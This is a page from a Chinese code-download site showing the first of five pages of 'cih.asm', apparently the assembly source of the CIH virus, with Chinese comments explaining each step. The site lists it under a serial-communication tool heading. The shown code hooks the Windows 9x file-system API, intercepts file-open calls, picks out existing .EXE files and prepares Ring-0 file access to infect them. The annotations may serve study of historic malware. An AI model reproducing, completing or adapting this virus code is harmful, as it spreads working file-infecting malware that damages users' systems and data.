⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 cih.asm

📁 接口通信的串口通信工具
💻 ASM
📖 第 1 页 / 共 5 页
字号:
OldInstallFileSystemApiHook     dd      ?         ;原来的InstallFileSystemApiHook调用的地址                               
                                                                                 
; *********************************************************                      
; *             IFSMgr_FileSystemHook                     *                      
; *********************************************************                      
                                                                                 
; *************************************                                          
; * IFSMgr_FileSystemHook Entry Point *                                          
; *************************************                                          
                                                                                 
FileSystemApiHook:                                ;安装好的文件系统钩子                               
@3                      =       FileSystemApiHook                                
                                                                                 
                        pushad                    ;保存寄存器(20h长)                               
                                                                                 
                        call    @5      ;                                        
@5:                                     ;                                        
                        pop     esi     ; mov esi, offset  ;esi为当前指令的偏移 
                        add     esi, VirusGameDataStartAddress-@5   
				 ;esi为FileSystemApiHook的偏移加上到VirusGameDataStartAddress的偏移之差=VirusGameDataStartAddress的偏移
                                                                                 
; *************************************                                          
; * Is OnBusy !?                      *                                          
; *************************************                                          
                                                                                 
                        test    byte ptr (OnBusy-@6)[esi], 01h  ; if ( OnBusy )  ;测试"忙"标志
                        jnz     pIFSFunc                        ; goto pIFSFunc  ;"忙"则转到pIFSFunc
                                                                                 
; *************************************                                          
; * Is OpenFile !?                    *                                          
; *************************************                                          
                                                                                 
                        ; if ( NotOpenFile )                                     
                        ; goto prevhook                                          
                        lea     ebx, [esp+20h+04h+04h]          ;ebx为FunctionNum的地址
;文件系统钩子的调用格式如下      
;FileSystemApiHookFunction(pIFSFunc FSDFnAddr, int FunctionNum, int Drive,int ResourceFlags, int CodePage, pioreq pir)

      					;助标2          
                        cmp     dword ptr [ebx], 00000024h      ;测试此次调用是否是为了打开文件
					                        ;在DDK的ifs.h中定义的#define IFSFN_OPEN  36                 
                        jne     prevhook                        ;不是就跳到前一个文件钩子去                 
                                                                                 
; *************************************                                          
; * Enable OnBusy                     *                                          
; *************************************                                          
                                                                                 
                        inc     byte ptr (OnBusy-@6)[esi]       ; Enable OnBusy ;设置"忙"标志为"忙" 
                                                                                 
; *************************************                                          
; * Get FilePath's DriveNumber,       *                                          
; * then Set the DriveName to         *                                          
; * FileNameBuffer.                   *                                          
; *************************************                                          
; * Ex. If DriveNumber is 03h,        *                                          
; *     DriveName is 'C:'.            *                                          
; *************************************                                          
                                                                                 
                        ; mov esi, offset FileNameBuffer                         
                        add     esi, FileNameBuffer-@6         ;esi指向FileNameBuffer                  
                                                                                 
                        push    esi                            ;保存之                 
                                                                                 
                        mov     al, [ebx+04h]                  ;ebx+4为int Drive的地址                  
                        cmp     al, 0ffh                       ;是否是UNC(universal naming conventions)地址                  
                        je      CallUniToBCSPath               ;是就转                  
                                                                                 
                        add     al, 40h                                          
                        mov     ah, ':'                                          
                                                                                 
                        mov     [esi], eax                     ;处理成"X:"的形式                  
                                                                                 
                        inc     esi                                              
                        inc     esi                                              
                                                                                 
; *************************************                                          
; * UniToBCSPath                      *                                          
; *************************************                                          
; * This Service Converts             *                                          
; * a Canonicalized Unicode Pathname  *                    ;把Canonicalized Unicode的字符转换为普通的BCS字符集                      
; * to a Normal Pathname in the       *                                          
; * Specified BCS Character Set.      *                                          
; *************************************                                          
;调用方法  UniToBCSPath(unsigned char * pBCSPath, ParsedPath * pUniPath, unsigned int maxLength, int charSet)

			                     
CallUniToBCSPath:                                                                
                        push    00000000h                       ;字符集                 
                        push    FileNameBufferSize              ;字符长度                 
                        mov     ebx, [ebx+10h]                                   
                        mov     eax, [ebx+0ch]                                   
                        add     eax, 04h                                         
                        push    eax                             ;Uni字符首址                 
                        push    esi                             ;BCS字符首址                 
                        int     20h     ; VXDCall UniToBCSPath ;调用UniToBCSPath                  
UniToBCSPath            =       $                                                
                        dd      00400041h                      ;调用id                  
                        add     esp, 04h*04h                                     
                                                                                 
; *************************************                                          
; * Is FileName '.EXE' !?             *                                          
; *************************************                                          
                                                                                 
                        ; cmp [esi+eax-04h], '.EXE'                              
                        cmp     [esi+eax-04h], 'EXE.'      ;测试是否是*.EXE(可执行)文件                      
                        pop     esi                                              
                        jne     DisableOnBusy                                    
                                                                                 
IF      DEBUG                                                                    
                                                                                 
; *************************************                                          
; * Only for Debug                    *                                          
; *************************************                                          
                                                                                 
                        ; cmp [esi+eax-06h], 'FUCK'                              
                        cmp     [esi+eax-06h], 'KCUF'      ;如果是测试用途则测试是否是"FUCK.EXE"                      
                        jne     DisableOnBusy                                    
                                                                                 
ENDIF                                                                            
                                                                                 
; *************************************                                          
; * Is Open Existing File !?          *                                          
; *************************************                                          
                                                                                 
                        ; if ( NotOpenExistingFile )                             
                        ; goto DisableOnBusy                                     
                        cmp     word ptr [ebx+18h], 01h     ;测试是否打开                     
                        jne     DisableOnBusy                                    
                                                                                 
; *************************************                                          
; * Get Attributes of the File        *                                          
; *************************************                                          
                                                                                 
                        mov     ax, 4300h               ;IFSMgr_Ring0_FileIO的获得文件属性号(R0_FILEATTRIBUTES/GET_ATTRIBUTES)                         
                        int     20h     ; VXDCall IFSMgr_Ring0_FileIO ;调用IFSMgr_Ring0_FileIO的获得文件属性的功能           
IFSMgr_Ring0_FileIO     =       $                                                
                        dd      00400032h                   ;调用号                     
                                                                                 
                        jc      DisableOnBusy               ;失败否?                     
                                                                                 
                        push    ecx                                              
                                                                                 
; *************************************                                          
; * Get IFSMgr_Ring0_FileIO Address   *                                          
; *************************************                                          
                                                                                 
                        mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]     
                        mov     edi, [edi]                  ;获得IFSMgr_Ring0_FileIO调用的地址                     
                                                                                 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -